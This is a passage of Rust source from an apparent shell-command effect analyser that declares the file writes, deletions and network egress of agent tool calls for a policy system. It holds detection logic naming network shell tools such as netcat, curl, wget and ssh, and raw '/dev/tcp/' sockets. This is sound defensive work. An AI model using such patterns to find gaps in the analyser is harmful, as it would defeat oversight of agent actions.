2895/// `ls` and `date` (live 2026-11-13).
2896pub fn shell_call_effects(command: &str, cwd: Option<&str>) -> CallEffects {
2897    let analysis = analyze_shell(command, cwd);
2898    CallEffects {
2899        keys: analysis.keys,
2900        complete: false,
2901        understood: analysis.complete,
2902    }
2903}
2904
2905struct ShellAnalysis {
2906    keys: Vec<EffectKey>,
2907    /// Every effect is in `keys`.
2908    complete: bool,
2909}
2910
2911impl ShellAnalysis {
2912    fn add(&mut self, key: EffectKey) {
2913        if !self.keys.contains(&key) {
2914            self.keys.push(key);
2915        }
2916    }
2917
2918    /// A segment that may do anything, including reach the network.
2919    fn opaque(&mut self) {
2920        self.complete = false;
2921    }
2922
2923    /// A local target that cannot be named.
2924    fn unresolved(&mut self) {
2925        self.complete = false;
2926    }
2927
2928    fn path(&mut self, class: EffectClass, raw: &str, cwd: Option<&str>) {
2929        // A word glued to a redirect (`a>b`) is not the operand it looks like.
2930        if raw.contains(['<', '>']) {
2931            self.unresolved();
2932            return;
2933        }
2934        match shell_path_effects(class, raw, cwd) {
2935            Some(keys) => keys.into_iter().for_each(|key| self.add(key)),
2936            None => self.unresolved(),
2937        }
2938    }
2939
2940    fn egress(&mut self, key: Option<EffectKey>) {
2941        match key {
2942            Some(key) => self.add(key),
2943            None => self.opaque(),
2944        }
2945    }
2946}
2947
2948/// `command` without the text the shell does not execute as commands:
2949/// heredoc bodies (from the line after `<<WORD` up to the line `WORD`, with
2950/// leading tabs stripped for `<<-`), comments (an unquoted `#` at the start
2951/// of a word, up to the end of the line), and newlines inside quotes, which
2952/// become NUL so a quoted string never splits into command lines (and a NUL
2953/// makes any key from that word fail its check). The `<<` itself stays, so
2954/// the scan still treats the line as opaque, and the heredoc's own redirect
2955/// target is still read.
2956fn executed_text(command: &str) -> String {
2957    let command = shell_text(command);
2958    let chars: Vec<char> = command.chars().collect();
2959    let mut out = String::with_capacity(command.len());
2960    let (mut in_single, mut in_double) = (false, false);
2961    // Heredocs opened on the current line: (delimiter, strip leading tabs).
2962    let mut pending: Vec<(String, bool)> = Vec::new();
2963    let mut i = 0;
2964    while i < chars.len() {
2965        let c = chars[i];
2966        if in_single || in_double {
2967            if c == '\n' {
2968                out.push('\0');
2969            } else {
2970                out.push(c);
2971                if c == '\\' && in_double {
2972                    if let Some(&next) = chars.get(i + 1) {
2973                        out.push(if next == '\n' { '\0' } else { next });
2974                        i += 1;
2975                    }
2976                } else if (c == '\'' && in_single) || (c == '"' && in_double) {
2977                    in_single = false;
2978                    in_double = false;
2979                }
2980            }
2981            i += 1;
2982            continue;
2983        }
2984        match c {
2985            '\\' => {
2986                out.push(c);
2987                if let Some(&next) = chars.get(i + 1) {
2988                    out.push(next);
2989                    i += 1;
2990                }
2991            }
2992            '\'' => {
2993                in_single = true;
2994                out.push(c);
2995            }
2996            '"' => {
2997                in_double = true;
2998                out.push(c);
2999            }
3000            '#' if out
3001                .chars()
3002                .last()
3003                .is_none_or(|p| p.is_whitespace() || matches!(p, ';' | '|' | '&' | '(' | ')')) =>
3004            {
3005                while i < chars.len() && chars[i] != '\n' {
3006                    i += 1;
3007                }
3008                continue;
3009            }
3010            '<' if chars.get(i + 1) == Some(&'<') && chars.get(i + 2) != Some(&'<') => {
3011                out.push_str("<<");
3012                let mut j = i + 2;
3013                let strip_tabs = chars.get(j) == Some(&'-');
3014                if strip_tabs {
3015                    out.push('-');
3016                    j += 1;
3017                }
3018                while chars.get(j).is_some_and(|c| *c == ' ' || *c == '\t') {
3019                    out.push(chars[j]);
3020                    j += 1;
3021                }
3022                let mut delimiter = String::new();
3023                while let Some(&d) = chars.get(j) {
3024                    if d.is_whitespace() || matches!(d, ';' | '|' | '&' | '<' | '>' | '(' | ')') {
3025                        break;
3026                    }
3027                    out.push(d);
3028                    if !matches!(d, '\'' | '"' | '\\') {
3029                        delimiter.push(d);
3030                    }
3031                    j += 1;
3032                }
3033                pending.push((delimiter, strip_tabs));
3034                i = j;
3035                continue;
3036            }
3037            '\n' => {
3038                out.push('\n');
3039                // Skip each pending heredoc's body and its delimiter line.
3040                for (delimiter, strip_tabs) in std::mem::take(&mut pending) {
3041                    loop {
3042                        i += 1;
3043                        if i >= chars.len() {
3044                            break;
3045                        }
3046                        let end = chars[i..]
3047                            .iter()
3048                            .position(|c| *c == '\n')
3049                            .map_or(chars.len(), |offset| i + offset);
3050                        let line: String = chars[i..end].iter().collect();
3051                        let line = if strip_tabs {
3052                            line.trim_start_matches('\t')
3053                        } else {
3054                            line.as_str()
3055                        };
3056                        let done = line == delimiter;
3057                        i = end;
3058                        if done {
3059                            break;
3060                        }
3061                    }
3062                }
3063            }
3064            _ => out.push(c),
3065        }
3066        i += 1;
3067    }
3068    out
3069}
3070
3071fn analyze_shell(command: &str, cwd: Option<&str>) -> ShellAnalysis {
3072    let mut out = ShellAnalysis {
3073        keys: Vec::new(),
3074        complete: true,
3075    };
3076    if command.contains("/dev/tcp/") || command.contains("/dev/udp/") || command.contains("$'") {
3077        out.opaque();
3078    }
3079    // A `cd` moves where later relative paths resolve, so the scan follows
3080    // it: a literal `cd DIR` that the rest of the script runs after (`&&`,
3081    // `||`, `;` or a new line) moves the directory paths resolve against.
3082    // Anything else (`pushd`/`popd`, a `cd` in a pipe, subshell or the
3083    // background, or to an expanded word) leaves no relative path known.
3084    // The call stays incomplete: a `cd` that fails before `;` leaves the
3085    // script where it was. The same opaque script reworded around a `cd`
3086    // then still declares the paths it changes, so an owner's decline binds
3087    // it by effect, not by its text.
3088    let changes_directory = expanded_commands(command)
3089        .iter()
3090        .any(|tokens| matches!(basename(&tokens[0]), "cd" | "pushd" | "popd"));
3091    if changes_directory {
3092        out.unresolved();
3093    }
3094    let mut here: Option<String> = cwd
3095        .map(str::trim)
3096        .filter(|dir| crate::BackendPath::is_absolute(dir))
3097        .map(str::to_string);
3098    // Only text the shell executes yields keys: heredoc bodies, comments
3099    // and the inside of multi-line quoted strings are dropped first.
3100    for line in executed_text(&command.replace("\\\n", " ")).split('\n') {
3101        let scanned = scan(line);
3102        // Substitutions, groupings, heredocs and comments hide commands.
3103        if scanned.unsafe_syntax {
3104            out.opaque();
3105        }
3106        // A redirect is applied before its own segment runs, so on a line
3107        // that changes directory its target's directory is not known.
3108        let line_moves = scanned.segments.iter().any(|segment| {
3109            shell_words::split(segment).is_ok_and(|tokens| {
3110                tokens
3111                    .first()
3112                    .is_some_and(|program| matches!(basename(program), "cd" | "pushd" | "popd"))
3113            })
3114        });
3115        for target in &scanned.output_targets {
3116            if target.contains(['"', '\'']) || line_moves {
3117                out.unresolved();
3118            } else {
3119                out.path(EffectClass::Write, target, here.as_deref());
3120            }
3121        }
3122        for (index, segment) in scanned.segments.iter().enumerate() {
3123            if segment.trim().is_empty() {
3124                continue;
3125            }
3126            if has_expansion(segment) {
3127                out.opaque();
3128            }
3129            let Ok(tokens) = shell_words::split(segment) else {
3130                out.opaque();
3131                continue;
3132            };
3133            let tokens = strip_redirections(tokens);
3134            match tokens.first().map(|program| basename(program)) {
3135                Some("cd") => {
3136                    here = if scanned.separators.iter().any(|c| matches!(c, '(' | ')'))
3137                        || !runs_on_after(&scanned, index)
3138                        || has_expansion(segment)
3139                    {
3140                        None
3141                    } else {
3142                        changed_directory(&tokens[1..], here.as_deref())
3143                    };
3144                }
3145                Some("pushd" | "popd") => here = None,
3146                _ => segment_effects(&tokens, here.as_deref(), &mut out),
3147            }
3148        }
3149    }
3150    // A launcher hides its program from the walk above (`sudo curl`,
3151    // `bash -c '...'`). What such a command contacts is still declared.
3152    let executed = executed_text(&command.replace("\\\n", " "));
3153    for tokens in expanded_commands(&executed) {
3154        let mut inner = ShellAnalysis {
3155            keys: Vec::new(),
3156            complete: true,
3157        };
3158        segment_effects(&tokens, cwd, &mut inner);
3159        for key in inner.keys {
3160            if key.class == EffectClass::Egress {
3161                out.add(key);
3162            }
3163        }
3164    }
3165    out
3166}
3167
3168/// Whether the rest of the script runs after segment `index` of a scanned
3169/// line in the same shell: the line ends there, or it is followed by `;`,
3170/// `&&` or `||`. A pipe or `&` runs it in its own process.
3171fn runs_on_after(scanned: &Scan, index: usize) -> bool {
3172    let doubled = |c: char| {
3173        scanned
3174            .segments
3175            .get(index + 1)
3176            .is_some_and(|next| next.trim().is_empty())
3177            && scanned.separators.get(index + 1) == Some(&c)
3178    };
3179    match scanned.separators.get(index) {
3180        None | Some(';') => true,
3181        Some('&') => doubled('&'),
3182        Some('|') => doubled('|'),
3183        Some(_) => false,
3184    }
3185}
3186
3187/// The directory `cd ARGS` moves to from `here`: one literal operand,
3188/// absolute or relative to a known `here`, normalized. `None` for anything
3189/// else (`cd`, `cd -`, options, `~user`, expansion).
3190fn changed_directory(args: &[String], here: Option<&str>) -> Option<String> {
3191    let [target] = args else {
3192        return None;
3193    };
3194    if target.starts_with('-') {
3195        return None;
3196    }
3197    let absolute = structural_absolute_path(target, here)?;
3198    EffectKey::path(EffectClass::Write, &absolute).map(|key| key.target)
3199}
3200
3201/// Whether the shell would expand anything in `segment`: an unquoted brace,
3202/// glob, `$`, backtick, backslash or `~user`, or a `$`, backtick or
3203/// backslash inside double quotes. Single quotes are literal.
3204fn has_expansion(segment: &str) -> bool {
3205    let chars: Vec<char> = segment.chars().collect();
3206    let (mut in_single, mut in_double) = (false, false);
3207    for (index, &c) in chars.iter().enumerate() {
3208        if in_single {
3209            in_single = c != '\'';
3210            continue;
3211        }
3212        if in_double {
3213            match c {
3214                '"' => in_double = false,
3215                '$' | '`' | '\\' => return true,
3216                _ => {}
3217            }
3218            continue;
3219        }
3220        match c {
3221            '\'' => in_single = true,
3222            '"' => in_double = true,
3223            '{' | '}' | '*' | '?' | '[' | ']' | '$' | '`' | '\\' => return true,
3224            '~' => {
3225                let word_start = index == 0 || chars[index - 1].is_whitespace();
3226                let user = chars
3227                    .get(index + 1)
3228                    .is_some_and(|next| !next.is_whitespace() && *next != '/');
3229                if word_start && user {
3230                    return true;
3231                }
3232            }
3233            _ => {}
3234        }
3235    }
3236    false
3237}
3238
3239fn segment_effects(tokens: &[String], here: Option<&str>, out: &mut ShellAnalysis) {
3240    let Some(program) = tokens.first() else {
3241        return;
3242    };
3243    let path_ok = !program.contains('/')
3244        || program
3245            .rsplit_once('/')
3246            .is_some_and(|(dir, _)| SYSTEM_BIN_DIRS.contains(&dir));
3247    if is_env_assignment(program) || !path_ok {
3248        out.opaque();
3249        return;
3250    }
3251    let name = basename(program);
3252    let args = &tokens[1..];
3253    // Every git command can run repository-configured code (diff.external,
3254    // core.fsmonitor, aliases, pagers, hooks), so none is a modelled
3255    // observation here; `git` below declares what it can as a lower bound.
3256    if name != "git" && is_program_observation(name, args) {
3257        return;
3258    }
3259    match name {
3260        // Already made the whole call incomplete.
3261        "cd" | "pushd" | "popd" => {}
3262        "rm" | "rmdir" | "unlink" => {
3263            if parse_options(&REMOVE, args).is_some() {
3264                deleted(tokens, here, out)
3265            } else {
3266                out.unresolved()
3267            }
3268        }
3269        "find"
3270            if args.iter().any(|arg| arg == "-delete")
3271                && !args
3272                    .iter()
3273                    .any(|arg| arg != "-delete" && FIND_MUTATING_FLAGS.contains(&arg.as_str())) =>
3274        {
3275            deleted(tokens, here, out)
3276        }
3277        "cp" | "mv" => copied(name, args, here, out),
3278        "tee" | "touch" | "mkdir" => created(name, args, here, out),
3279        "curl" => curl(args, here, out),
3280        "wget" => wget(args, here, out),
3281        "invoke-webrequest" => powershell_web(args, out),
3282        name if in_powershell_table(POWERSHELL_DELETES, name) => {
3283            if powershell_args_plain(args) {
3284                deleted(tokens, here, out)
3285            } else {
3286                out.unresolved()
3287            }
3288        }
3289        "http" | "https" | "xh" | "xhs" => httpie(args, here, out),
3290        "nc" | "ncat" | "netcat" => netcat(args, out),
3291        "ssh" => ssh(args, here, out),
3292        "scp" => scp(args, here, out),
3293        "rsync" => rsync(args, here, out),
3294        "git" => git(args, here, out),
3295        _ => out.opaque(),
3296    }
3297}
3298
3299/// PowerShell's web cmdlets (and, in Windows PowerShell, `curl` and
3300/// `wget`): every URL argument is an egress, so the network policy still
3301/// sees where the call goes. Their method and body options are not modelled,
3302/// so the call is never understood.
3303fn powershell_web(args: &[String], out: &mut ShellAnalysis) {
3304    out.opaque();
3305    for arg in args {
3306        if arg.contains("://") {
3307            match url_effect(arg) {
3308                Some(key) => out.add(key),
3309                None => out.unresolved(),
3310            }
3311        }
3312    }
3313}
3314
3315const REMOVE: OptionSpec = OptionSpec {
3316    flags: "rRfidIvP",
3317    valued: &[],
3318    long_flags: &[
3319        "recursive",
3320        "force",
3321        "dir",
3322        "verbose",
3323        "interactive",
3324        "one-file-system",
3325        "preserve-root",
3326        "ignore-fail-on-non-empty",
3327        "parents",
3328    ],
3329    long_valued: &[],
3330    long_equals: false,
3331    exact: &[],
3332    stop_at_positional: false,
3333};
3334
3335fn deleted(tokens: &[String], cwd: Option<&str>, out: &mut ShellAnalysis) {
3336    match delete_targets(&shell_words::join(tokens)) {
3337        Some(targets) => {
3338            for target in targets {
3339                out.path(EffectClass::Delete, &target, cwd);
3340            }
3341        }
3342        None => out.unresolved(),
3343    }
3344}
3345
3346/// What an option's value means for the call's effects.
3347#[derive(Clone, Copy, PartialEq, Eq)]
3348enum OptionValue {
3349    /// Does not change what the call touches (a header, a timeout).
3350    Ignore,
3351    /// A URL the program contacts.
3352    Url,
3353    /// A file the program writes (`-` is stdout).
3354    Write,
3355    /// The file a download is saved to (`-` is stdout).
3356    Document,
3357    /// The port of the destination.
3358    Port,
3359    /// The directory `cp`/`mv` write into (`-t`).
3360    TargetDir,
3361}
3362
3363/// The options a program is understood with. An option not listed makes
3364/// the segment undeterminable.
3365struct OptionSpec {
3366    /// Short options without a value; they may be clustered.
3367    flags: &'static str,
3368    /// Short options with a value, attached or in the next word.
3369    valued: &'static [(char, OptionValue)],
3370    long_flags: &'static [&'static str],
3371    long_valued: &'static [(&'static str, OptionValue)],
3372    /// Long options accept `--name=value`.
3373    long_equals: bool,
3374    /// Whole words without a value (wget's `-nv`).
3375    exact: &'static [&'static str],
3376    /// Options end at the first operand (ssh: the rest is the remote
3377    /// command).
3378    stop_at_positional: bool,
3379}
3380
3381#[derive(Default)]
3382struct ParsedOptions {
3383    positionals: Vec<String>,
3384    values: Vec<(OptionValue, String)>,
3385    long_flags: Vec<String>,
3386}
3387
3388fn parse_options(spec: &OptionSpec, args: &[String]) -> Option<ParsedOptions> {
3389    let mut parsed = ParsedOptions::default();
3390    let mut index = 0;
3391    let mut options_done = false;
3392    while index < args.len() {
3393        let arg = &args[index];
3394        index += 1;
3395        if options_done || arg == "-" || !arg.starts_with('-') {
3396            parsed.positionals.push(arg.clone());
3397            options_done |= spec.stop_at_positional;
3398            continue;
3399        }
3400        if arg == "--" {
3401            options_done = true;
3402            continue;
3403        }
3404        if spec.exact.contains(&arg.as_str()) {
3405            continue;
3406        }
3407        if let Some(long) = arg.strip_prefix("--") {
3408            if let Some((name, value)) = long.split_once('=') {
3409                if !spec.long_equals {
3410                    return None;
3411                }
3412                let role = lookup(spec.long_valued, name)?;
3413                parsed.values.push((role, attached_value(value)));
3414            } else if spec.long_flags.contains(&long) {
3415                parsed.long_flags.push(long.to_string());
3416            } else {
3417                let role = lookup(spec.long_valued, long)?;
3418                parsed.values.push((role, args.get(index)?.clone()));
3419                index += 1;
3420            }
3421            continue;
3422        }
3423        let cluster: Vec<char> = arg[1..].chars().collect();
3424        for (position, letter) in cluster.iter().enumerate() {
3425            if spec.flags.contains(*letter) {
3426                continue;
3427            }
3428            let role = spec
3429                .valued
3430                .iter()
3431                .find(|(short, _)| short == letter)
3432                .map(|(_, role)| *role)?;
3433            let rest: String = cluster[position + 1..].iter().collect();
3434            let value = if rest.is_empty() {
3435                index += 1;
3436                args.get(index - 1)?.clone()
3437            } else {
3438                rest
3439            };
3440            parsed.values.push((role, attached_value(&value)));
3441            break;
3442        }
3443    }
3444    Some(parsed)
3445}
3446
3447/// A value attached to its option (`--opt=~/x`, `-o~/x`) is not at the
3448/// start of a shell word, so the shell leaves a leading `~` literal: it names
3449/// a directory called `~` relative to the working directory.
3450fn attached_value(value: &str) -> String {
3451    if value.starts_with('~') {
3452        format!("./{value}")
3453    } else {
3454        value.to_string()
3455    }
3456}
3457
3458fn lookup(table: &[(&str, OptionValue)], name: &str) -> Option<OptionValue> {
3459    table
3460        .iter()
3461        .find(|(long, _)| *long == name)
3462        .map(|(_, role)| *role)
3463}
3464
3465/// Apply the option values every program shares: written files and URLs.
3466/// Proxies are never listed: where traffic goes through one is not modelled.
3467fn apply_values(parsed: &ParsedOptions, cwd: Option<&str>, out: &mut ShellAnalysis) {
3468    for (role, value) in &parsed.values {
3469        match role {
3470            OptionValue::Write | OptionValue::Document if value != "-" => {
3471                out.path(EffectClass::Write, value, cwd)
3472            }
3473            OptionValue::Url => out.egress(url_effect(value)),
3474            _ => {}
3475        }
3476    }
3477}
3478
3479const CURL: OptionSpec = OptionSpec {
3480    flags: "sSLfiIkvGNqjgn0123456#Z",
3481    valued: &[
3482        ('X', OptionValue::Ignore),
3483        ('d', OptionValue::Ignore),
3484        ('H', OptionValue::Ignore),
3485        ('u', OptionValue::Ignore),
3486        ('A', OptionValue::Ignore),
3487        ('e', OptionValue::Ignore),
3488        ('F', OptionValue::Ignore),
3489        ('m', OptionValue::Ignore),
3490        ('T', OptionValue::Ignore),
3491        ('b', OptionValue::Ignore),
3492        ('w', OptionValue::Ignore),
3493        ('r', OptionValue::Ignore),
3494        ('C', OptionValue::Ignore),
3495        ('Y', OptionValue::Ignore),
3496        ('y', OptionValue::Ignore),
3497        ('z', OptionValue::Ignore),
3498        ('E', OptionValue::Ignore),
3499        ('U', OptionValue::Ignore),
3500        ('o', OptionValue::Write),
3501        ('D', OptionValue::Write),
3502        ('c', OptionValue::Write),
3503    ],
3504    long_flags: &[
3505        "silent",
3506        "show-error",
3507        "location",
3508        "location-trusted",
3509        "fail",
3510        "fail-with-body",
3511        "fail-early",
3512        "include",
3513        "head",
3514        "insecure",
3515        "verbose",
3516        "get",
3517        "compressed",
3518        "http0.9",
3519        "http1.0",
3520        "http1.1",
3521        "http2",
3522        "http2-prior-knowledge",
3523        "http3",
3524        "http3-only",
3525        "no-buffer",
3526        "globoff",
3527        "ipv4",
3528        "ipv6",
3529        "no-progress-meter",
3530        "progress-bar",
3531        "netrc",
3532        "netrc-optional",
3533        "raw",
3534        "tr-encoding",
3535        "no-keepalive",
3536        "ssl-reqd",
3537        "tcp-nodelay",
3538        "path-as-is",
3539        "retry-all-errors",
3540        "retry-connrefused",
3541        "anyauth",
3542        "basic",
3543        "digest",
3544        "ntlm",
3545        "negotiate",
3546        "disable",
3547        "junk-session-cookies",
3548        "parallel",
3549        "tlsv1.2",
3550        "tlsv1.3",
3551        "styled-output",
3552        "no-styled-output",
3553    ],
3554    long_valued: &[
3555        ("url", OptionValue::Url),
3556        ("request", OptionValue::Ignore),
3557        ("data", OptionValue::Ignore),
3558        ("data-raw", OptionValue::Ignore),
3559        ("data-binary", OptionValue::Ignore),
3560        ("data-urlencode", OptionValue::Ignore),
3561        ("data-ascii", OptionValue::Ignore),
3562        ("json", OptionValue::Ignore),
3563        ("header", OptionValue::Ignore),
3564        ("user", OptionValue::Ignore),
3565        ("user-agent", OptionValue::Ignore),
3566        ("referer", OptionValue::Ignore),
3567        ("form", OptionValue::Ignore),
3568        ("form-string", OptionValue::Ignore),
3569        ("max-time", OptionValue::Ignore),
3570        ("connect-timeout", OptionValue::Ignore),
3571        ("upload-file", OptionValue::Ignore),
3572        ("cookie", OptionValue::Ignore),
3573        ("write-out", OptionValue::Ignore),
3574        ("range", OptionValue::Ignore),
3575        ("retry", OptionValue::Ignore),
3576        ("retry-delay", OptionValue::Ignore),
3577        ("retry-max-time", OptionValue::Ignore),
3578        ("cacert", OptionValue::Ignore),
3579        ("capath", OptionValue::Ignore),
3580        ("cert", OptionValue::Ignore),
3581        ("cert-type", OptionValue::Ignore),
3582        ("key", OptionValue::Ignore),
3583        ("key-type", OptionValue::Ignore),
3584        ("oauth2-bearer", OptionValue::Ignore),
3585        ("max-redirs", OptionValue::Ignore),
3586        ("limit-rate", OptionValue::Ignore),
3587        ("max-filesize", OptionValue::Ignore),
3588        ("continue-at", OptionValue::Ignore),
3589        ("time-cond", OptionValue::Ignore),
3590        ("proxy-user", OptionValue::Ignore),
3591        ("output", OptionValue::Write),
3592        ("dump-header", OptionValue::Write),
3593        ("cookie-jar", OptionValue::Write),
3594        ("trace", OptionValue::Write),
3595        ("trace-ascii", OptionValue::Write),
3596        ("libcurl", OptionValue::Write),
3597        ("stderr", OptionValue::Write),
3598        ("etag-save", OptionValue::Write),
3599    ],
3600    long_equals: false,
3601    exact: &[],
3602    stop_at_positional: false,
3603};
3604
3605fn curl(args: &[String], cwd: Option<&str>, out: &mut ShellAnalysis) {
3606    let Some(parsed) = parse_options(&CURL, args) else {
3607        out.opaque();
3608        return;
3609    };
3610    // `--write-out '%output{file}'` writes a file the option names inline.
3611    if parsed
3612        .values
3613        .iter()
3614        .any(|(_, value)| value.contains("%output{"))
3615    {
3616        out.unresolved();
3617    }
3618    apply_values(&parsed, cwd, out);
3619    for url in &parsed.positionals {
3620        out.egress(url_effect(url));
3621    }
3622}
3623
3624const WGET: OptionSpec = OptionSpec {
3625    flags: "qvSc",
3626    valued: &[
3627        ('O', OptionValue::Document),
3628        ('o', OptionValue::Write),
3629        ('a', OptionValue::Write),
3630        ('T', OptionValue::Ignore),
3631        ('t', OptionValue::Ignore),
3632        ('U', OptionValue::Ignore),
3633    ],
3634    long_flags: &[
3635        "quiet",
3636        "verbose",
3637        "no-verbose",
3638        "server-response",
3639        "spider",
3640        "continue",
3641        "no-check-certificate",
3642        "no-clobber",
3643        "inet4-only",
3644        "inet6-only",
3645        "no-cache",
3646        "no-cookies",
3647        "content-on-error",
3648        "ignore-length",
3649        "auth-no-challenge",
3650        "no-proxy",
3651    ],
3652    long_valued: &[
3653        ("output-document", OptionValue::Document),
3654        ("output-file", OptionValue::Write),
3655        ("append-output", OptionValue::Write),
3656        ("save-cookies", OptionValue::Write),
3657        ("timeout", OptionValue::Ignore),
3658        ("tries", OptionValue::Ignore),
3659        ("header", OptionValue::Ignore),
3660        ("method", OptionValue::Ignore),
3661        ("body-data", OptionValue::Ignore),
3662        ("body-file", OptionValue::Ignore),
3663        ("post-data", OptionValue::Ignore),
3664        ("post-file", OptionValue::Ignore),
3665        ("user-agent", OptionValue::Ignore),
3666        ("user", OptionValue::Ignore),
3667        ("password", OptionValue::Ignore),
3668        ("http-user", OptionValue::Ignore),
3669        ("http-password", OptionValue::Ignore),
3670        ("referer", OptionValue::Ignore),
3671        ("wait", OptionValue::Ignore),
3672        ("limit-rate", OptionValue::Ignore),
3673        ("read-timeout", OptionValue::Ignore),
3674        ("connect-timeout", OptionValue::Ignore),
3675        ("dns-timeout", OptionValue::Ignore),
3676        ("max-redirect", OptionValue::Ignore),
3677        ("progress", OptionValue::Ignore),
3678        ("ca-certificate", OptionValue::Ignore),
3679        ("certificate", OptionValue::Ignore),
3680        ("private-key", OptionValue::Ignore),
3681        ("load-cookies", OptionValue::Ignore),
3682    ],
3683    long_equals: true,
3684    exact: &["-nv", "-nc", "-nd", "-nH"],
3685    stop_at_positional: false,
3686};
3687
3688fn wget(args: &[String], cwd: Option<&str>, out: &mut ShellAnalysis) {
3689    let Some(parsed) = parse_options(&WGET, args) else {
3690        out.opaque();
3691        return;
3692    };
3693    apply_values(&parsed, cwd, out);
3694    for url in &parsed.positionals {
3695        out.egress(url_effect(url));
3696    }
3697    // Without `-O` wget saves under a name taken from the URL or response.
3698    let names_output = parsed
3699        .values
3700        .iter()
3701        .any(|(role, _)| *role == OptionValue::Document);
3702    let spider = parsed.long_flags.iter().any(|flag| flag == "spider");
3703    if !names_output && !spider {
3704        out.unresolved();
3705    }
3706}
3707
3708/// The URLs a command is proven to have fetched when it exits 0, as written:
3709/// the whole command is `curl` or `wget` invocations joined only by `&&`,
3710/// each naming exactly one strict URL in a shape the option tables
3711/// understand. With `&&` the exit status is the last invocation's and every
3712/// earlier one had to succeed for it to run, so status 0 proves every fetch
3713/// completed (for curl: a response arrived; with `-f` also a non-error
3714/// status). `None` for anything a later step could mask or that could run
3715/// something else: `;`, `||`, a pipe, a background `&`, a newline, a
3716/// subshell or substitution, an expansion, a launcher or variable
3717/// assignment, an unlisted option, or a second URL in one invocation (curl
3718/// reports only its last transfer).
3719pub fn proven_fetch_urls(command: &str) -> Option<Vec<String>> {
3720    let scanned = scan(command);
3721    if scanned.unsafe_syntax || !scanned.separators.len().is_multiple_of(2) {
3722        return None;
3723    }
3724    // `&&` scans as two `&` with an empty segment between them.
3725    for (pair, between) in scanned
3726        .separators
3727        .chunks(2)
3728        .zip(scanned.segments.iter().skip(1).step_by(2))
3729    {
3730        if pair != ['&', '&'] || !between.is_empty() {
3731            return None;
3732        }
3733    }
3734    let mut urls = Vec::new();
3735    for segment in scanned.segments.iter().step_by(2) {
3736        if has_expansion(segment) {
3737            return None;
3738        }
3739        let tokens = strip_redirections(shell_words::split(segment).ok()?);
3740        let (program, args) = tokens.split_first()?;
3741        let path_ok = !program.contains('/')
3742            || program
3743                .rsplit_once('/')
3744                .is_some_and(|(dir, _)| SYSTEM_BIN_DIRS.contains(&dir));
3745        if !path_ok {
3746            return None;
3747        }
3748        let spec = match basename(program) {
3749            "curl" => &CURL,
3750            "wget" => &WGET,
3751            _ => return None,
3752        };
3753        let parsed = parse_options(spec, args)?;
3754        let mut named = parsed.positionals.iter().chain(
3755            parsed
3756                .values
3757                .iter()
3758                .filter(|(role, _)| *role == OptionValue::Url)
3759                .map(|(_, value)| value),
3760        );
3761        let url = named.next()?;
3762        if named.next().is_some() || strict_url(url).is_none() {
3763            return None;
3764        }
3765        urls.push(url.clone());
3766    }
3767    Some(urls)
3768}
3769
3770const HTTPIE: OptionSpec = OptionSpec {
3771    flags: "vhbfjFIq",
3772    valued: &[
3773        ('p', OptionValue::Ignore),
3774        ('s', OptionValue::Ignore),
3775        ('a', OptionValue::Ignore),
3776        ('A', OptionValue::Ignore),
3777        ('o', OptionValue::Write),
3778    ],
3779    long_flags: &[
3780        "json",
3781        "form",
3782        "multipart",
3783        "verbose",
3784        "headers",
3785        "body",
3786        "follow",
3787        "check-status",
3788        "ignore-stdin",
3789        "quiet",
3790        "offline",
3791        "all",
3792    ],
3793    long_valued: &[
3794        ("print", OptionValue::Ignore),
3795        ("pretty", OptionValue::Ignore),
3796        ("style", OptionValue::Ignore),
3797        ("auth", OptionValue::Ignore),
3798        ("auth-type", OptionValue::Ignore),
3799        ("timeout", OptionValue::Ignore),
3800        ("max-redirects", OptionValue::Ignore),
3801        ("verify", OptionValue::Ignore),
3802        ("cert", OptionValue::Ignore),
3803        ("cert-key", OptionValue::Ignore),
3804        ("output", OptionValue::Write),
3805    ],
3806    long_equals: true,
3807    exact: &[],
3808    stop_at_positional: false,
3809};
3810
3811/// HTTPie (`http`, `https`) and xh: `[METHOD] URL [items]`. Only a strict
3812/// URL is read; the `:port/path` localhost shorthand and scheme-less hosts
3813/// are guesses the program makes.
3814fn httpie(args: &[String], cwd: Option<&str>, out: &mut ShellAnalysis) {
3815    let Some(parsed) = parse_options(&HTTPIE, args) else {
3816        out.opaque();
3817        return;
3818    };
3819    apply_values(&parsed, cwd, out);
3820    let mut positionals = parsed.positionals.iter();
3821    let mut url = positionals.next();
3822    if url.is_some_and(|word| !word.is_empty() && word.chars().all(|c| c.is_ascii_uppercase())) {
3823        url = positionals.next();
3824    }
3825    let Some(url) = url else {
3826        out.opaque();
3827        return;
3828    };
3829    out.egress(url_effect(url));
3830}
3831
3832const NETCAT: OptionSpec = OptionSpec {
3833    flags: "vznu46CDdN",
3834    valued: &[
3835        ('w', OptionValue::Ignore),
3836        ('p', OptionValue::Ignore),
3837        ('s', OptionValue::Ignore),
3838        ('q', OptionValue::Ignore),
3839        ('i', OptionValue::Ignore),
3840    ],
3841    long_flags: &[],
3842    long_valued: &[],
3843    long_equals: false,
3844    exact: &[],
3845    stop_at_positional: false,
3846};
3847
3848/// `nc host port`. Listening, proxies and `-e` are not understood.
3849fn netcat(args: &[String], out: &mut ShellAnalysis) {
3850    let target = parse_options(&NETCAT, args).and_then(|parsed| match &parsed.positionals[..] {
3851        [host, port] => egress_effect("", host, Some(port.parse::<u16>().ok()?)),
3852        _ => None,
3853    });
3854    out.egress(target);
3855}
3856
3857const SSH: OptionSpec = OptionSpec {
3858    flags: "46AaCfGgKkMNnqsTtVvXxYy",
3859    valued: &[
3860        ('p', OptionValue::Port),
3861        ('i', OptionValue::Ignore),
3862        ('l', OptionValue::Ignore),
3863        ('L', OptionValue::Ignore),
3864        ('R', OptionValue::Ignore),
3865        ('D', OptionValue::Ignore),
3866        ('c', OptionValue::Ignore),
3867        ('m', OptionValue::Ignore),
3868        ('b', OptionValue::Ignore),
3869        ('e', OptionValue::Ignore),
3870        ('E', OptionValue::Write),
3871    ],
3872    long_flags: &[],
3873    long_valued: &[],
3874    long_equals: false,
3875    exact: &[],
3876    stop_at_positional: true,
3877};
3878
3879fn port_option(parsed: &ParsedOptions) -> Result<Option<u16>, ()> {
3880    match parsed
3881        .values
3882        .iter()
3883        .rev()
3884        .find(|(role, _)| *role == OptionValue::Port)
3885    {
3886        Some((_, port)) => port.parse::<u16>().map(Some).map_err(|_| ()),
3887        None => Ok(None),
3888    }
3889}
3890
3891/// `user@host` or `host` (brackets allowed for IPv6) as an ssh egress.
3892fn ssh_host_effect(destination: &str, port: Option<u16>) -> Option<EffectKey> {
3893    if destination.matches('@').count() > 1 {
3894        return None;
3895    }
3896    let host = destination
3897        .rsplit_once('@')
